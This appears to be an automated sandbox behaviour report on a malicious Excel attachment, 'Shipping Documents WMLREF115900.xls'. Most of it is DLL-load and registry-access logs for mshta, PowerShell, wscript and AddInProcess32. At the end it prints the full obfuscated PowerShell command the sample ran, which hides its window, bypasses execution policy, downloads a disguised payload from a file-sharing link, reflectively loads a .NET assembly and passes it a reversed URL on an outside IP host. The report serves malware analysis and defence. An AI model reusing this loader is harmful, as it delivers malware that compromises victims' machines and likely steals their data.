Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wkscli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: samcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: samlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.pdbhP source: powershell.exe, 00000011.00000002.481877021.000000000283A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.pdb source: powershell.exe, 00000005.00000002.442283646.0000000003A4E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.pdb source: powershell.exe, 00000011.00000002.481877021.0000000002687000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.pdbhP source: powershell.exe, 00000005.00000002.442283646.0000000003A62000.00000004.00000800.00020000.00000000.sdmp

Source: A4230000.0.dr

Initial sample: OLE indicators vbamacros = False

Source: Shipping Documents WMLREF115900.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"
